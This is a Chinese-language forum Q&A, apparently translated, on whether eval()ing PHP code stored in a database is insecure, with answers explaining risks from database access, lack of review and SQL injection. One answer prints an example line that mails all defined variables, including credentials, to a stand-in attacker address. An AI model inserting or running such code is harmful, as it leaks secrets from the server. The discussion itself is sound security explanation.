将PHP代码存储在数据库中,并在运行时对其进行eval(),这是不安全的


Is storing PHP code in a database, and eval()ing it at runtime, insecure?

我构建了一个程序,用于存储、检索和从SQLite数据库中获取eval()s代码。

在我为我糟糕的编码实践而跳起来之前,让我们把它当作一个理论,并且假装我有一个很好的理由这样做。

撇开所有其他考虑,假设用户输入不是一个因素,那么在数据库中存储PHP代码并使用eval()运行它是否存在安全风险?

澄清:

  • 我不是eval()ing用户提交的内容
  • SQLite DB文件位于相同的目录中,并且与我的其他文件具有相同的安全性。
  • 请不要评论性能,缓存等这些我都知道。

eval()本身是不安全的。这是一种糟糕的做法,不明确,并且会导致一大堆错误和安全相关问题。

即使用户提交的数据没有存储在数据库中,您仍然提供了一种方法来执行存储在数据库中的代码,即使您没有将该代码放在那里。如果有人获得了对数据库服务器的访问权,他们可能会做比通过修改数据库存储的代码来删除数据库更糟糕的事情,比如删除PHP脚本具有写访问权的任何文件。

是。如果我可以向数据库中注入一些东西那么我就可以通过eval。

在服务器上执行它

您是否试图将数据库用作函数的哈希表?因此,您可以根据一些键求值来调用一段代码。我在这里看到的安全问题是,数据库可能在某个地方公开了其他API来填充它。在您不知道/显式地执行它的情况下,可能会在数据库中引入一些键、值对。如果您使用函数的哈希表,则需要有人在代码存储库中提交以更改函数。所以现在您需要像保护代码的存储库一样保护DB。

允许数据库以PHP的用户身份运行任何PHP代码。当然这是不安全的。

eval()并非天生不安全。但是只有当它计算的代码是安全的时候,它才是安全的。我们可以举一个代码做坏事的例子,假设代码以某种方式存储在数据库中,然后boom

存储在其他地方的代码不是项目的一部分,没有代码审查,没有在git中跟踪,也没有进行单元测试。代码基本上没有从安全性的角度进行评估,因此没有安全性保证。换句话说,从质量保证的角度来看,这是一个弱质量计划,因为代码安全性是代码质量的一部分。

任何访问你的数据库的人都可以修改代码,然后代码被执行,我假设没有任何审查。代码没有访问限制;它可以在调用它的应用程序中引用甚至修改变量。问题是数据库中的代码是如何改变的?谁有权限?什么是代码审查过程?测试过程是怎样的?

除了SQL注入可能非法更改数据库中的PHP代码之外,还存在在用户对代码进行授权更改之前对其使用的任何身份验证的安全性问题。我假设你的应用程序有一些接口,可以通过web接口更改数据库中的代码。

你要求证据,我猜你想要一个代码的例子,如果它被评估可能会做一些不好的事情。

如果我可以安排类似下面的代码存储在您的数据库中,并eval()该代码,我可以得到很多关于您的应用程序的信息。例如,你的数据库密码,你的身份验证方法,你使用的框架版本……各种各样的东西。

mail('attacker@example.com', 'Mwa ha ha', print_r(get_defined_vars(), true));

也有类似的功能,如get_defined_functions()。或者甚至用open(__FILE__)返回它自己的源代码。攻击者可以很快地知道你的代码中有其他可利用的安全漏洞。

PHP代码可以通过各种方式获取服务器的信息,或者对服务器进行更改。将eval()与使用exec()的代码结合使用,您就可以在服务器上运行任何命令。至少它是在http服务器运行的uid下运行的——我希望不是root。